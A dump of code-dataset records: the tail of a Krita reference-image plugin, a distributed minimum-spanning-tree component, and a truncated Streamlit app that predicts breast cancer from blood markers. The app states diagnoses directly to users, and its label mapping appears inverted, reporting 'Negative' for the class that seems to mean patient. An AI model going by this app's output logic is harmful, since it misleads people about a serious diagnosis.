painter.setRenderHint(QPainter.Antialiasing)\n\n rect = QRect(-self.origin / self.zoom, self.size() / self.zoom)\n cropped = self.image.copy(rect)\n image = cropped.scaled(self.size(), Qt.KeepAspectRatio, Qt.SmoothTransformation)\n painter.drawImage(0, 0, image)\n\n if self.pressedPoint is not None and not self.moving:\n painter.setPen(QPen(QColor(255, 255, 255, 128), 3.0))\n painter.drawEllipse(self.pressedPoint, self.triggerDistance, self.triggerDistance)\n\n if self.currentColor is not None:\n painter.fillRect(0, 0, self.size().width(), 20, self.currentColor)\n\n def mousePressEvent(self, event):\n self.pressedPoint = event.pos()\n self.oldOrigin = self.origin\n self.oldZoom = self.zoom\n self.currentColor = self.getCurrentColor(event)\n self.update()\n\n def mouseReleaseEvent(self, event):\n self.currentColor = self.getCurrentColor(event)\n if not self.moving and self.currentColor is not None:\n self.colorPicked.emit(self.currentColor)\n\n self.pressedPoint = None\n self.moving = False\n self.currentColor = None\n self.update()\n\n def mouseMoveEvent(self, event):\n if self.pressedPoint is not None:\n distance = trueLength(self.pressedPoint - event.pos())\n if distance >= self.triggerDistance:\n self.moving = True\n\n if self.moving:\n if QApplication.keyboardModifiers() & Qt.ControlModifier:\n zoomDelta = self.pressedPoint.y() - event.pos().y()\n centerPos = (self.pressedPoint - self.oldOrigin) / self.oldZoom\n self.zoom = max(0.01, self.oldZoom + (zoomDelta / 100) * self.oldZoom)\n self.origin = self.pressedPoint - (centerPos * self.zoom)\n else:\n self.origin = self.oldOrigin - self.pressedPoint + event.pos()\n\n self.currentColor = None\n else:\n self.currentColor = self.getCurrentColor(event)\n\n self.update()\n\n def wheelEvent(self, event):\n centerPos = (event.pos() - self.origin) / self.zoom\n\n self.zoom = max(0.01, self.zoom + (event.angleDelta().y() / 500) * self.zoom)\n self.origin = event.pos() - (centerPos * self.zoom)\n\n self.update()\n\n def resizeEvent(self, event):\n self.resetView()\n\n def sizeHint(self):\n return QSize(256, 256)\n\nclass ReferenceDocker(DockWidget):\n\n def __init__(self):\n super().__init__()\n self.currentDir = Application.readSetting('referenceDocker', 'lastdir', '.')\n\n self.setWindowTitle(\"Reference Docker\")\n\n widget = QWidget()\n layout = QVBoxLayout(widget)\n\n self.viewer = ReferenceViewer()\n self.viewer.colorPicked.connect(self.changeColor)\n layout.addWidget(self.viewer)\n\n buttonLayout = QHBoxLayout(widget)\n self.center = QAction(self)\n self.center.setIconText(\"Reset view\")\n self.center.triggered.connect(self.centerView)\n centerButton = QToolButton()\n centerButton.setDefaultAction(self.center)\n buttonLayout.addWidget(centerButton)\n\n self.open = QAction(self)\n self.open.setIconText(\"Open\")\n self.open.triggered.connect(self.openImage)\n openButton = QToolButton()\n openButton.setDefaultAction(self.open)\n buttonLayout.addWidget(openButton)\n\n layout.addLayout(buttonLayout)\n self.setWidget(widget)\n\n fileName = Application.readSetting('referenceDocker', 'lastref', None)\n if fileName is not None:\n self.viewer.setImage(QImage(fileName))\n\n def centerView(self):\n self.viewer.resetView()\n\n def openImage(self):\n fileName, _filter = QtWidgets.QFileDialog.getOpenFileName(None, \"Open an image\", self.currentDir)\n if not fileName:\n return\n\n Application.writeSetting('referenceDocker', 'lastref', fileName)\n\n self.currentDir = os.path.dirname(fileName)\n Application.writeSetting('referenceDocker', 'lastdir', self.currentDir)\n\n self.viewer.setImage(QImage(fileName))\n\n @pyqtSlot(QColor)\n def changeColor(self, color):\n if (self.canvas()) is not None and self.canvas().view() is not None:\n _color = ManagedColor(\"RGBA\", \"U8\", \"\")\n _color.setComponents([color.blueF(), color.greenF(), color.redF(), 1.0])\n self.canvas().view().setForeGroundColor(_color)\n\n def canvasChanged(self, canvas):\n pass\n\nKrita.instance().addDockWidgetFactory(DockWidgetFactory(\"referenceDocker\", DockWidgetFactoryBase.DockRight, ReferenceDocker))\n","repo_name":"antoine-roux/krita-plugin-reference","sub_path":"reference/reference.py","file_name":"reference.py","file_ext":"py","file_size_in_byte":6783,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"72"} +{"seq_id":"32440619025","text":"from copy import deepcopy as deepcopy\nfrom enum import Enum\nimport networkx as nx\n\nfrom Ahc.Ahc import ComponentModel, Event, EventTypes, GenericMessage, GenericMessageHeader, GenericMessagePayload\nfrom Ahc.Channels import MessageDestinationIdentifiers\nfrom Utility import drawGraph, getPathInMST, getMaximumWeightedEdge, selectDeactivatedNode, optimizeInsertions, \\\n optimizeDeletions\n\n\nclass LMSTUpdate:\n def __init__(self, localMST: nx.Graph = None, insertions={}, deletions=[], activatedNodes=[], isCompressed=False):\n if isCompressed:\n self.localMST = None\n self.insertions = insertions\n self.deletions = deletions\n self.activatedNodes = activatedNodes\n else:\n self.localMST = localMST\n self.insertions = {}\n self.deletions = []\n self.activatedNodes = []\n self.isCompressed = isCompressed\n\n\nclass MSTEventTypes(Enum):\n MFRNeighbor = \"messagefromneighbor\"\n LMST = \"localminimumspanningtree\"\n\n\nclass MSTMessageTypes(Enum):\n NEIGHBOR_DISCOVERY = \"neighbordiscovery\"\n LOCAL_MST = \"localminimumspanningtree\"\n\n\nclass NEIGHBORMessagePayload(GenericMessagePayload):\n def __init__(self, weight=1):\n super().__init__(weight)\n\n\nclass NEIGHBORMessageHeader(GenericMessageHeader):\n def __init__(self, messagefrom, messageto):\n super().__init__(MSTMessageTypes.NEIGHBOR_DISCOVERY, messagefrom, messageto,\n nexthop=MessageDestinationIdentifiers.LINKLAYERBROADCAST)\n\n\nclass LOCALMSTMessagePayload(GenericMessagePayload):\n def __init__(self, lmstUpdate: LMSTUpdate, manualMode=False, nextActivationNode=-1):\n super().__init__(lmstUpdate)\n self.manualMode = manualMode\n self.nextActivationNode = nextActivationNode\n\n\nclass LOCALMSTMessageHeader(GenericMessageHeader):\n def __init__(self, messagefrom, messageto):\n if messageto == -1:\n super().__init__(MSTMessageTypes.LOCAL_MST, messagefrom, messageto,\n nexthop=MessageDestinationIdentifiers.LINKLAYERBROADCAST)\n else:\n super().__init__(MSTMessageTypes.LOCAL_MST, messagefrom, messageto, nexthop=messageto)\n\n\nclass MSTMessage(GenericMessage):\n def __init__(self, messagefrom, messageto, messagetype: MSTMessageTypes,\n messagepayload=None, manualMode=False, nextActivationNode=-1):\n if messagetype == MSTMessageTypes.NEIGHBOR_DISCOVERY:\n super().__init__(header=NEIGHBORMessageHeader(messagefrom, messageto),\n payload=NEIGHBORMessagePayload())\n elif messagetype == MSTMessageTypes.LOCAL_MST:\n super().__init__(header=LOCALMSTMessageHeader(messagefrom, messageto),\n payload=LOCALMSTMessagePayload(messagepayload, manualMode, nextActivationNode))\n\n\nclass MSTComponent(ComponentModel):\n def on_init(self, eventobj: Event):\n mstMessage = MSTMessage(self.componentinstancenumber, -1, MSTMessageTypes.NEIGHBOR_DISCOVERY)\n mstEvent = Event(self, EventTypes.MFRT, mstMessage)\n self.send_down(mstEvent)\n\n def on_message_from_top(self, eventobj: Event):\n self.send_down(eventobj)\n\n def on_message_from_peer(self, eventobj: Event):\n pass\n\n def on_message_from_bottom(self, eventobj: Event):\n message = eventobj.eventcontent\n messageType = message.header.messagetype\n\n if messageType is MSTMessageTypes.NEIGHBOR_DISCOVERY:\n neighborEvent = Event(eventobj.eventsource, MSTEventTypes.MFRNeighbor, eventobj.eventcontent,\n eventobj.fromchannel)\n self.send_self(neighborEvent)\n elif messageType is MSTMessageTypes.LOCAL_MST:\n lmstEvent = Event(eventobj.eventsource, MSTEventTypes.LMST, eventobj.eventcontent, eventobj.fromchannel)\n self.send_self(lmstEvent)\n else:\n if messageType.value == \"start\":\n mst = eventobj.eventcontent.payload.messagepayload\n self.localMST = deepcopy(mst)\n self.send_up(eventobj)\n\n def on_message_from_neighbor(self, eventobj: Event):\n linkMessageHeader = eventobj.eventcontent.header\n linkMessagePayload = eventobj.eventcontent.payload\n\n neighbor = int(linkMessageHeader.messagefrom)\n weight = int(linkMessagePayload.messagepayload)\n self.neighbors[neighbor] = weight\n self.neighbors = dict(sorted(self.neighbors.items(), key=lambda item: item[1]))\n\n def on_local_minimum_spanning_tree(self, eventobj: Event):\n content = eventobj.eventcontent\n payload = content.payload\n\n messagefrom = content.header.messagefrom\n messagepayload: LMSTUpdate = payload.messagepayload\n isCompressed = messagepayload.isCompressed\n manualMode = payload.manualMode\n nextActivationNode = payload.nextActivationNode\n\n receivedInsertions = messagepayload.insertions\n receivedDeletions = messagepayload.deletions\n receivedActivatedNodes = messagepayload.activatedNodes\n\n if not isCompressed:\n receivedMSTUpdate = messagepayload.localMST\n else:\n if self.localMST is None:\n if len(receivedInsertions) > 0 or len(receivedDeletions) > 0 or len(receivedActivatedNodes) > 0:\n receivedMSTUpdate = nx.Graph()\n else:\n receivedMSTUpdate = None\n else:\n receivedMSTUpdate = self.localMST\n\n if receivedMSTUpdate is not None:\n for u, v in receivedInsertions:\n if not receivedMSTUpdate.has_edge(u, v):\n receivedMSTUpdate.add_edge(u, v)\n receivedMSTUpdate.edges[u, v]['weight'] = receivedInsertions[(u, v)]\n self.insertions[u, v] = receivedInsertions[(u, v)]\n for u, v in receivedDeletions:\n if receivedMSTUpdate.has_edge(u, v):\n receivedMSTUpdate.remove_edge(u, v)\n self.deletions.add((u, v))\n for node in receivedMSTUpdate.nodes:\n if node in receivedActivatedNodes:\n receivedMSTUpdate.nodes[node]['activated'] = True\n else:\n if 'activated' not in receivedMSTUpdate.nodes[node]:\n receivedMSTUpdate.nodes[node]['activated'] = False\n\n self.activatedNodes.update(receivedActivatedNodes)\n\n currentNode = self.componentinstancenumber\n decideNextActivation = False\n\n localInsertions = {}\n localDeletions = set()\n localActivatedNodes = set()\n\n if receivedMSTUpdate is None:\n S: nx.Graph = nx.Graph()\n S.add_node(self.componentinstancenumber)\n S.nodes[currentNode]['activated'] = True\n decideNextActivation = True\n localActivatedNodes.add(currentNode)\n\n for (node, weight) in self.neighbors.items():\n S.add_node(node)\n S.nodes[node]['activated'] = False\n S.add_edge(currentNode, node)\n S.edges[currentNode, node]['weight'] = weight\n localInsertions[currentNode, node] = weight\n else:\n S: nx.Graph = deepcopy(receivedMSTUpdate)\n\n if currentNode in S.nodes:\n if S.nodes[currentNode]['activated']:\n pass\n else:\n for (node, weight) in self.neighbors.items():\n if not S.has_node(node):\n S.add_node(node)\n S.nodes[node]['activated'] = False\n S.add_edge(currentNode, node)\n S.edges[currentNode, node]['weight'] = weight\n localInsertions[currentNode, node] = weight\n else:\n if not S.has_edge(currentNode, node):\n path = getPathInMST(S, currentNode, node)\n maximumWeight, node1, node2 = getMaximumWeightedEdge(S, path)\n if weight < maximumWeight:\n S.remove_edge(node1, node2)\n localDeletions.add((node1, node2))\n S.add_edge(currentNode, node)\n S.get_edge_data(currentNode, node)['weight'] = weight\n localInsertions[currentNode, node] = weight\n\n S.nodes[currentNode]['activated'] = True\n decideNextActivation = True\n localActivatedNodes.add(currentNode)\n else:\n raise NotImplementedError\n\n self.localMST = S\n localInsertions = optimizeInsertions(localInsertions)\n localDeletions = optimizeDeletions(localDeletions)\n self.insertions.update(localInsertions)\n self.deletions.update(localDeletions)\n self.activatedNodes.update(localActivatedNodes)\n self.optimizeLocalParameters()\n\n self.latestLocalLMSTUpdate = LMSTUpdate(S, localInsertions, localDeletions, localActivatedNodes, isCompressed)\n self.latestActivationLMSTUpdate = LMSTUpdate(S, self.insertions, self.deletions, self.activatedNodes,\n isCompressed)\n self.latestForwardingLMSTUpdate = LMSTUpdate(S, receivedInsertions, receivedDeletions, receivedActivatedNodes,\n isCompressed)\n\n if not manualMode:\n if decideNextActivation:\n drawGraph(S, currentNode, self.neighbors, showTopology=True)\n\n nextActivation = selectDeactivatedNode(S, currentNode, self.neighbors)\n if nextActivation == -1:\n print(f\"Minimum Spanning Tree is constructed.\")\n self.startRPS()\n\n # if nextActivation in self.neighbors:\n # localMSTEventContent = MSTMessage(currentNode, nextActivation, MSTMessageTypes.LOCAL_MST,\n # messagepayload=self.latestActivationLMSTUpdate)\n # localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n # self.send_down(localMSTEvent)\n # nextActivation = -1\n # if nextActivation in S.neighbors(currentNode):\n # localMSTEventContent = MSTMessage(currentNode, nextActivation, MSTMessageTypes.LOCAL_MST,\n # messagepayload=self.latestActivationLMSTUpdate)\n # localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n # self.send_down(localMSTEvent)\n # nextActivation = -1\n\n for node in S.neighbors(currentNode):\n if S.nodes[node]['activated']:\n localMSTEventContent = MSTMessage(currentNode, node, MSTMessageTypes.LOCAL_MST,\n messagepayload=self.latestLocalLMSTUpdate)\n localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n self.send_down(localMSTEvent)\n\n if nextActivation != -1:\n path = getPathInMST(self.localMST, currentNode, nextActivation)\n localMSTEventContent = MSTMessage(currentNode, path[1], MSTMessageTypes.LOCAL_MST,\n messagepayload=self.latestActivationLMSTUpdate,\n nextActivationNode=nextActivation)\n localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n self.send_down(localMSTEvent)\n else:\n # if nextActivationNode in self.neighbors:\n # localMSTEventContent = MSTMessage(currentNode, nextActivationNode, MSTMessageTypes.LOCAL_MST,\n # messagepayload=self.latestActivationLMSTUpdate)\n # localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n # self.send_down(localMSTEvent)\n # nextActivationNode = -1\n # if nextActivationNode in S.neighbors(currentNode):\n # localMSTEventContent = MSTMessage(currentNode, nextActivationNode, MSTMessageTypes.LOCAL_MST,\n # messagepayload=self.latestActivationLMSTUpdate)\n # localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n # self.send_down(localMSTEvent)\n # nextActivationNode = -1\n\n for node in S.neighbors(currentNode):\n if S.nodes[node]['activated'] and node is not messagefrom:\n localMSTEventContent = MSTMessage(currentNode, node, MSTMessageTypes.LOCAL_MST,\n messagepayload=self.latestForwardingLMSTUpdate)\n localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n self.send_down(localMSTEvent)\n\n if nextActivationNode != -1:\n path = getPathInMST(self.localMST, currentNode, nextActivationNode, messagefrom)\n localMSTEventContent = MSTMessage(currentNode, path[1], MSTMessageTypes.LOCAL_MST,\n messagepayload=self.latestActivationLMSTUpdate,\n nextActivationNode=nextActivationNode)\n localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n self.send_down(localMSTEvent)\n else:\n if decideNextActivation:\n drawGraph(S, currentNode, self.neighbors, showTopology=True)\n\n for node in S.neighbors(currentNode):\n if S.nodes[node]['activated']:\n localMSTEventContent = MSTMessage(currentNode, node, MSTMessageTypes.LOCAL_MST,\n messagepayload=self.latestLocalLMSTUpdate, manualMode=True)\n localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n self.send_down(localMSTEvent)\n else:\n if nextActivationNode in S.neighbors(currentNode) or nextActivationNode in self.neighbors:\n localMSTEventContent = MSTMessage(currentNode, nextActivationNode, MSTMessageTypes.LOCAL_MST,\n messagepayload=self.latestActivationLMSTUpdate, manualMode=True)\n localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n self.send_down(localMSTEvent)\n nextActivationNode = -1\n\n for node in S.neighbors(currentNode):\n if S.nodes[node]['activated'] and node is not messagefrom:\n localMSTEventContent = MSTMessage(currentNode, node, MSTMessageTypes.LOCAL_MST,\n messagepayload=self.latestForwardingLMSTUpdate,\n manualMode=True, nextActivationNode=nextActivationNode)\n localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n self.send_down(localMSTEvent)\n\n def getNeighbors(self, withWeights=False):\n if not withWeights:\n return [k for k in self.neighbors.keys()]\n else:\n return [(k, v) for k, v in self.neighbors.items()]\n\n def startMST(self, manualMode=False, compressedMode=True):\n lmstUpdate = LMSTUpdate(isCompressed=compressedMode)\n localMSTEventContent = MSTMessage(self.componentinstancenumber, -1, MSTMessageTypes.LOCAL_MST,\n messagepayload=lmstUpdate, manualMode=manualMode)\n localMSTEvent = Event(self, MSTEventTypes.LMST, localMSTEventContent)\n self.send_self(localMSTEvent)\n\n def sendLocalMSTUpdateManually(self, nodeId: int):\n S = self.localMST\n currentNode = self.componentinstancenumber\n nextActivationNode = nodeId\n\n if nextActivationNode in S.neighbors(currentNode):\n localMSTEventContent = MSTMessage(currentNode, nextActivationNode, MSTMessageTypes.LOCAL_MST,\n messagepayload=self.latestActivationLMSTUpdate, manualMode=True)\n localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n self.send_down(localMSTEvent)\n else:\n for node in S.neighbors(currentNode):\n if S.nodes[node]['activated']:\n localMSTEventContent = MSTMessage(currentNode, node, MSTMessageTypes.LOCAL_MST,\n messagepayload=self.latestLocalLMSTUpdate, manualMode=True,\n nextActivationNode=nextActivationNode)\n localMSTEvent = Event(self, EventTypes.MFRT, localMSTEventContent)\n self.send_down(localMSTEvent)\n\n def startRPS(self):\n print(f\"Model Training will be started.\")\n lmstUpdate = LMSTUpdate(self.localMST, isCompressed=False)\n lmstEventContent = MSTMessage(self.componentinstancenumber, self.componentinstancenumber,\n MSTMessageTypes.LOCAL_MST, messagepayload=lmstUpdate)\n lmstEvent = Event(self, EventTypes.MFRB, lmstEventContent)\n self.send_up(lmstEvent)\n\n def __init__(self, componentid):\n componentname = \"MSTComponent\"\n super().__init__(componentname, componentid)\n self.eventhandlers[MSTEventTypes.MFRNeighbor] = self.on_message_from_neighbor\n self.eventhandlers[MSTEventTypes.LMST] = self.on_local_minimum_spanning_tree\n\n self.neighbors = {}\n self.localMST: nx.Graph = None\n self.insertions = {}\n self.deletions = set()\n self.activatedNodes = set()\n\n self.latestActivationLMSTUpdate = None\n self.latestLocalLMSTUpdate = None\n self.latestForwardingLMSTUpdate = None\n\n def optimizeLocalParameters(self):\n self.insertions = optimizeInsertions(self.insertions)\n self.deletions = optimizeDeletions(self.deletions)\n","repo_name":"berkeracir/ceng797-project","sub_path":"TermProject/MinimumSpanningTree.py","file_name":"MinimumSpanningTree.py","file_ext":"py","file_size_in_byte":18733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24691256447","text":"import streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nfrom collections import OrderedDict\r\nimport seaborn as sns\r\n\r\n#Metrics\r\nfrom sklearn.metrics import make_scorer, accuracy_score,precision_score\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.metrics import accuracy_score ,precision_score,recall_score,f1_score\r\n\r\n#Model Select\r\nfrom sklearn.model_selection import KFold,train_test_split,cross_val_score\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn import linear_model\r\nfrom sklearn.linear_model import SGDClassifier\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.naive_bayes import GaussianNB\r\n\r\nst.write(\"\"\"\r\n# Prediksi Breast Cancer\r\n### KNN, Random Forest, Decicion Tree, Gaussian Naive Bayes\r\n\"\"\"\r\n)\r\n\r\nimg = Image.open('cancer.jpg')\r\nst.image(img, use_column_width=False)\r\n\r\nst.sidebar.write(\"\"\"\r\n # Penjelasan Untuk Pengisi Form\"\"\"\r\n )\r\nst.sidebar.write(\"\"\"\r\n #### 1. Usia: Diisi dengan angka usia calon pasien yang akan di prediksi\r\n \"\"\")\r\nst.sidebar.write(\"\"\"\r\n #### 2. BMI: Diisi dengan jumlah BMI yang ada dalam anda. Angka BMI normal berada pada kisaran 18,5-25.\r\n \"\"\")\r\nst.sidebar.write(\"\"\"\r\n #### 3. Glukosa: Diisi dengan jumlah glukosa dalam tubuh anda. Glukosa Normal berkisar < 100mg/dL, jika berpuasa 70-130 mg/dL, < 180 mg/dL (setelah makan), 100-140 mg/dL (sebelum tidur)\r\n \"\"\")\r\nst.sidebar.write(\"\"\"\r\n #### 4. Insulin: Diisi dengan jumlah insulin dalam tubuh anda. Insulin normal berkisar di bawah 100 mg/dL.\r\n \"\"\")\r\nst.sidebar.write(\"\"\"\r\n #### 5. HOMA: Diisi dengan jumlah HOMA dalam tubuh anda. homeostasis model aseessment (HOMA)\r\n \"\"\")\r\nst.sidebar.write(\"\"\"\r\n #### 6. Leptin: Diisi dengan jumlah Leptin dalam tubuh anda. Leptin adalah suatu protein yang berasal dari 167 asam amino,merupakan hormon yang di produksi oleh jaringan adiposa. Biasa ditentukan dalam bentuk (ng/mL)\r\n \"\"\")\r\nst.sidebar.write(\"\"\"\r\n #### 7. Adiponectin: Diisi dengan jumlah Adiponectin dalam tubuh anda.\r\n \"\"\") \r\nst.sidebar.write(\"\"\"\r\n #### 8. Resistin: Diisi dengan jumlah resistin dalam tubuh anda. Biasa ditentukan dalam bentuk (ng/mL)\r\n \"\"\")\r\nst.sidebar.write(\"\"\"\r\n #### 9. MCP: Diisi dengan jumlah MCP dalam tubuh anda. MCP (Monocyte Chemoattracttant Protein-1). Biasa ditentukan dalam bentuk (pg/dL)\r\n \"\"\")\r\nst.sidebar.write(\"\"\"\r\n #### 10. Setelah semuanya terisi silahkan klik prediksi untuk mengetahui hasil dari prediksi tersebut\r\n \"\"\")\r\n\r\n\r\ntab_titles = [\r\n \"Akurasi\",\r\n \"Identifikasi Penyakit\",\r\n \"Proses\",\r\n \"Github dan Dataset\",\r\n \"Info Breast Cancer\",]\r\n\r\ntabs = st.tabs(tab_titles)\r\n\r\nwith tabs[0]:\r\n cancer = pd.read_csv('https://raw.githubusercontent.com/DiahDSyntia/breastcancer/main/dataR2.csv')\r\n\r\n #cancer['Classification'].unique()\r\n \r\n X=cancer.iloc[:,0:9].values \r\n y=cancer.iloc[:,9].values\r\n\r\n st.write('Jumlah baris dan kolom :', X.shape)\r\n\r\n from sklearn.preprocessing import LabelEncoder\r\n le = LabelEncoder()\r\n y = le.fit_transform(y)\r\n\r\n from sklearn.preprocessing import MinMaxScaler\r\n scaler = MinMaxScaler()\r\n scaled = scaler.fit_transform(X)\r\n\r\n #split dataset into train and test data\r\n from sklearn.model_selection import train_test_split\r\n X_train, X_test, y_train, y_test=train_test_split(X, y, test_size=0.2, random_state=0)\r\n #st.write(\"Data Training\", X_train)\r\n #st.write(\"Data Testing\", X_test)\r\n\r\n #KNN\r\n knn = KNeighborsClassifier()\r\n knn.fit(X_train, y_train)\r\n Y_pred = knn.predict(X_test) \r\n accuracy_knn=round(accuracy_score(y_test,Y_pred)* 100, 2)\r\n acc_knn = round(knn.score(X_train, y_train) * 100, 2)\r\n\r\n cm = confusion_matrix(y_test, Y_pred)\r\n accuracy = accuracy_score(y_test,Y_pred)\r\n precision =precision_score(y_test, Y_pred,average='micro')\r\n recall = recall_score(y_test, Y_pred,average='micro')\r\n f1 = f1_score(y_test,Y_pred,average='micro')\r\n print('Confusion matrix for KNN\\n',cm)\r\n print('accuracy_KNN : %.3f' %accuracy)\r\n print('precision_KNN : %.3f' %precision)\r\n print('recall_KNN: %.3f' %recall)\r\n print('f1-score_KNN : %.3f' %f1)\r\n\r\n #NAIVE BAYES\r\n gaussian = GaussianNB()\r\n gaussian.fit(X_train, y_train)\r\n Y_pred = gaussian.predict(X_test) \r\n accuracy_nb=round(accuracy_score(y_test,Y_pred)* 100, 2)\r\n acc_gaussian = round(gaussian.score(X_train, y_train) * 100, 2)\r\n\r\n cm = confusion_matrix(y_test, Y_pred)\r\n accuracy = accuracy_score(y_test,Y_pred)\r\n precision =precision_score(y_test, Y_pred,average='micro')\r\n recall = recall_score(y_test, Y_pred,average='micro')\r\n f1 = f1_score(y_test,Y_pred,average='micro')\r\n print('Confusion matrix for Naive Bayes\\n',cm)\r\n print('accuracy_Naive Bayes: %.3f' %accuracy)\r\n print('precision_Naive Bayes: %.3f' %precision)\r\n print('recall_Naive Bayes: %.3f' %recall)\r\n print('f1-score_Naive Bayes : %.3f' %f1)\r\n\r\n #DECISION TREE\r\n decision_tree = DecisionTreeClassifier() \r\n decision_tree.fit(X_train, y_train) \r\n Y_pred = decision_tree.predict(X_test) \r\n accuracy_dt=round(accuracy_score(y_test,Y_pred)* 100, 2)\r\n acc_decision_tree = round(decision_tree.score(X_train, y_train) * 100, 2)\r\n\r\n cm = confusion_matrix(y_test, Y_pred)\r\n accuracy = accuracy_score(y_test,Y_pred)\r\n precision =precision_score(y_test, Y_pred,average='micro')\r\n recall = recall_score(y_test, Y_pred,average='micro')\r\n f1 = f1_score(y_test,Y_pred,average='micro')\r\n print('Confusion matrix for DecisionTree\\n',cm)\r\n print('accuracy_DecisionTree: %.3f' %accuracy)\r\n print('precision_DecisionTree: %.3f' %precision)\r\n print('recall_DecisionTree: %.3f' %recall)\r\n print('f1-score_DecisionTree : %.3f' %f1)\r\n\r\n # Random Forest\r\n random_forest = RandomForestClassifier(n_estimators=100)\r\n random_forest.fit(X_train, y_train)\r\n Y_prediction = random_forest.predict(X_test)\r\n accuracy_rf=round(accuracy_score(y_test,Y_prediction)* 100, 2)\r\n acc_random_forest = round(random_forest.score(X_train, y_train) * 100, 2)\r\n\r\n cm = confusion_matrix(y_test, Y_prediction)\r\n accuracy = accuracy_score(y_test,Y_prediction)\r\n precision =precision_score(y_test, Y_prediction,average='micro')\r\n recall = recall_score(y_test, Y_prediction,average='micro')\r\n f1 = f1_score(y_test,Y_prediction,average='micro')\r\n print('Confusion matrix for Random Forest\\n',cm)\r\n print('accuracy_random_Forest : %.3f' %accuracy)\r\n print('precision_random_Forest : %.3f' %precision)\r\n print('recall_random_Forest : %.3f' %recall)\r\n print('f1-score_random_Forest : %.3f' %f1)\r\n\r\n st.write(\"\"\"\r\n #### Akurasi:\"\"\"\r\n )\r\n\r\n results = pd.DataFrame({\r\n 'Model': ['K-Nearest Neighbor','Naive Bayes','Decision Tree','Random Forest'],\r\n 'Score': [ acc_knn,acc_gaussian,acc_decision_tree, acc_random_forest ],\r\n \"Accuracy_score\":[accuracy_knn,accuracy_nb,accuracy_dt,accuracy_rf\r\n ]})\r\n result_df = results.sort_values(by='Accuracy_score', ascending=False)\r\n result_df = result_df.reset_index(drop=True)\r\n result_df.head(9)\r\n st.write(result_df)\r\n\r\n fig = plt.figure()\r\n ax = fig.add_axes([0,0,1,1])\r\n ax.bar(['K-Nearest Neighbor','Naive Bayes','Decision Tree','Random Forest'],[accuracy_knn,accuracy_nb,accuracy_dt,accuracy_rf])\r\n plt.show()\r\n st.pyplot(fig)\r\n\r\n\r\nwith tabs[1]:\r\n col1,col2 = st.columns([2,2])\r\n model=st.selectbox(\r\n 'Metode Prediksi', ('K-Nearest Neighbor','Naive Bayes','Decision Tree','Random Forest'))\r\n with col1:\r\n usia = st.number_input(\"Usia\",0)\r\n bmi = st.number_input(\"BMI\",0.00)\r\n glukosa = st.number_input(\"Glukosa\",0)\r\n insulin = st.number_input(\"Insulin\",0.00)\r\n with col2:\r\n homa = st.number_input(\"HOMA\",0.00)\r\n leptin = st.number_input(\"Leptin\",0.00)\r\n adiponectin = st.number_input(\"Adiponectin\",0.00)\r\n resistin = st.number_input(\"Resistin\",0.00)\r\n mcp = st.number_input(\"MCP.1\",0.00)\r\n submit = st.button('Prediksi')\r\n\r\n if submit:\r\n if model == 'K-Nearest Neighbor':\r\n X_new = np.array([[usia, bmi, glukosa, insulin, homa, leptin, adiponectin, resistin, mcp]])\r\n predict = knn.predict(X_new)\r\n if predict == 1 :\r\n st.write(\"\"\"# Anda Negative Breast Cancer\"\"\")\r\n else : \r\n st.write(\"\"\"# Anda Positive Breast Cancer, Segera Ke Dokter\"\"\")\r\n\r\n elif model == 'Naive Bayes':\r\n X_new = np.array([[usia,bmi,glukosa,insulin, homa, leptin, adiponectin, resistin, mcp]])\r\n predict = gaussian.predict(X_new)\r\n if predict == 1 :\r\n st.write(\"\"\"# Anda Negative Breast Cancer\"\"\")\r\n else : \r\n st.write(\"\"\"# Anda Positive Breast Cancer, Segera Ke Dokter\"\"\")\r\n\r\n elif model == 'Decision Tree':\r\n X_new = np.array([[usia, bmi, glukosa, insulin, homa, leptin, adiponectin, resistin, mcp]])\r\n predict = decision_tree.predict(X_new)\r\n if predict == 1 :\r\n st.write(\"\"\"# Anda Negative Breast Cancer\"\"\")\r\n else : \r\n st.write(\"\"\"# Anda Positive Breast Cancer, Segera Ke Dokter\"\"\")\r\n\r\n else:\r\n X_new = np.array([[usia, bmi, glukosa, insulin, homa, leptin, adiponectin, resistin, mcp]])\r\n predict = random_forest.predict(X_new)\r\n if predict == 1 :\r\n st.write(\"\"\"# Anda Negative Breast Cancer\"\"\")\r\n else : \r\n st.write(\"\"\"# Anda Positive Breast Cancer, Segera Ke Dokter\"\"\")\r\n\r\nwith tabs[2]:\r\n st.write(\"Data Cancer (https://raw.githubusercontent.com/DiahDSyntia/Data-Mining/main/dataR2.csv) \",cancer)\r\n\r\n st.write(\"Hasil Preprocesing : \", scaled)\r\n st.write(\"Jumlah Data Training:\", len(X_train))\r\n st.write(\"Jumlah Data Testing:\", len(X_test))\r\n X_train.shape + X_test.shape\r\n st.write(\"Data Training\", X_train)\r\n st.write(\"Data Testing\", X_test)\r\n\r\nwith tabs[3]:\r\n dataset = f\"https://archive.ics.uci.edu/ml/datasets/Breast+Cancer+Coimbra\"\r\n github = f\"https://github.com/DiahDSyntia/breastcancer\"\r\n st.write(f\"Dataset yang digunakan dalam web ini adalah dataset yang diambil dari situs UCI Machine Learning Repository. [Klik Disini Untuk Dataset]({dataset}).\")\r\n st.write(f\"Untuk Code dan Repository web ini bisa dilihat pada github 